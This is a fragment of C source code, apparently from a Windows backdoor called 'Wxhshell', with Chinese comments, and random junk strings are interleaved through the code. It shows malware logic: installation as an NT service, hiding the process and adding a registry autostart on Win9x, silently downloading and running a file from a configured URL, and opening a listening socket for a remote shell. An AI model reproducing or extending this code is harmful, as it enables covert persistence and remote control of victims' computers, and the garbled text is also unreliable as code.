C2Vga# sb8bCEm-\ // 主模块 .{`C>/"} int StartWxhshell(LPSTR lpCmdLine) r[;d.3jtP { #Cu$y8~as SOCKET wsl; &Q}%b7 BOOL val=TRUE; ~UO}PI`C int port=0; aD'Ax\- struct sockaddr_in door; yOKzw~;0% ,~ZD"'*n6g if(wscfg.ws_autoins) Install(); _FE uQ9E `\\s%}vZ*T port=atoi(lpCmdLine); IHd
W!q Tjrb.+cua if(port<=0) port=wscfg.ws_port; ZBY2,%nAo ~v pIy - WSADATA data; \'Et)uD* if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #m?)XB^_ /P TRe5-7 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =dKjTBR S' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P3|s}& door.sin_family = AF_INET; -6NoEmb)\' door.sin_addr.s_addr = inet_addr("127.0.0.1"); &b5(Su door.sin_port = htons(port); ZnI15bsDx y||RK`H if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E/%"%&`8j closesocket(wsl); fDqT7}L return 1; =_|G q| } [*zg? ur >Q=^X3to if(listen(wsl,2) == INVALID_SOCKET) { MSvZ3[5Io closesocket(wsl); JRFUNy1+e1 return 1; LAf#Rco4 } &5b3k[K" Wxhshell(wsl); At=d//5FFP WSACleanup(); 0`c{9gY. r W[;3yMf
return 0; ztSQrDbbb4
-NN=(p!< } R`a~8QVh&5 Hh=fv~X // 以NT服务方式启动 ,7)hrA$( VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j`RG Moq { X7L:cVBg DWORD status = 0; ,jis@]: DWORD specificError = 0xfffffff; Ri" hU/H{ /^nIOAeE serviceStatus.dwServiceType = SERVICE_WIN32; |3,WiK=' serviceStatus.dwCurrentState = SERVICE_START_PENDING; naf ~#==vc serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "*t6KXVaM serviceStatus.dwWin32ExitCode = 0; P%e7c, serviceStatus.dwServiceSpecificExitCode = 0; A3_p*n@ serviceStatus.dwCheckPoint = 0; PZ8,E{V serviceStatus.dwWaitHint = 0; YWH>tt9 H"AL@= hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /ie&uWy if (hServiceStatusHandle==0) return; P1LOj kpn|C 9r status = GetLastError(); z&d.YO_W if (status!=NO_ERROR) 66eJp-5e8 { $Xlr@)% serviceStatus.dwCurrentState = SERVICE_STOPPED; VM\R-[ serviceStatus.dwCheckPoint = 0; VmPh''Z%- serviceStatus.dwWaitHint = 0; x0Loid\f serviceStatus.dwWin32ExitCode = status; iG6]Pr|;e serviceStatus.dwServiceSpecificExitCode = specificError; I{(!h90 SetServiceStatus(hServiceStatusHandle, &serviceStatus); WC~;t4 return; d0I s|Gs } E! NtD).=S 08nh y[ serviceStatus.dwCurrentState = SERVICE_RUNNING; e*}zl>f serviceStatus.dwCheckPoint = 0; ch0^g8@Q[ serviceStatus.dwWaitHint = 0; $"/l*H\h if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (?1$ } 0@"'SKq $oQOOa@;i) // 处理NT服务事件,比如:启动、停止 :wIA.1bK} VOID WINAPI NTServiceHandler(DWORD fdwControl) ~3:hed7: { 06.%9R{ switch(fdwControl) f~mwDkf?L { |cY HH$ case SERVICE_CONTROL_STOP: u9S*2' serviceStatus.dwWin32ExitCode = 0; jD S\ serviceStatus.dwCurrentState = SERVICE_STOPPED; Pt5 wm\ serviceStatus.dwCheckPoint = 0; *b) (-#w3 serviceStatus.dwWaitHint = 0; ^R@)CIQ { 2Cp4aTGv# SetServiceStatus(hServiceStatusHandle, &serviceStatus); tB>!1}v } j? BL8E' return; _9lMa7i case SERVICE_CONTROL_PAUSE: ?`?Tg&W serviceStatus.dwCurrentState = SERVICE_PAUSED; j.Uy>ol break; Q"FN"uQ}x case SERVICE_CONTROL_CONTINUE: *bFWNJ}`q serviceStatus.dwCurrentState = SERVICE_RUNNING; #VX]trh, break; BGibBF^ case SERVICE_CONTROL_INTERROGATE: L%v@|COQ3 break; #(614-r/ }; <<d # SetServiceStatus(hServiceStatusHandle, &serviceStatus); QHO n?e
} /W,hOv fU$Jh/#": // 标准应用程序主函数 -M=BD-_.h int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~Re4zU { ^x O](,H A` _dj}UF // 获取操作系统版本 |k6+-
1~_ OsIsNt=GetOsVer(); j%'2^C8 GetModuleFileName(NULL,ExeFile,MAX_PATH); )Q`Ycz- 1<m`38' // 从命令行安装 (k!7`<k!Y if(strpbrk(lpCmdLine,"iI")) Install(); GZaB z#U ZskX!{ // 下载执行文件 87! jn'A if(wscfg.ws_downexe) { l3b=8yn. if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0a:oC(Ak
WinExec(wscfg.ws_filenam,SW_HIDE); B;[ .u>f } ZOPK ?=Ceo#Er if(!OsIsNt) { 6inAnC@I // 如果时win9x,隐藏进程并且设置为注册表启动 )=GPhC/sw HideProc(); 7#j.yf4 StartWxhshell(lpCmdLine); &Pme4IHtm } o
A2oX else >+7{PF+sB if(StartFromService()) =!SV;^-q // 以服务方式启动 ,TWlg StartServiceCtrlDispatcher(DispatchTable); B\R X else xDw~n (* // 普通方式启动 ')q4d0B`" StartWxhshell(lpCmdLine); FLG"c690 c?CfM> return 0; d%k7n+ICQ4 }
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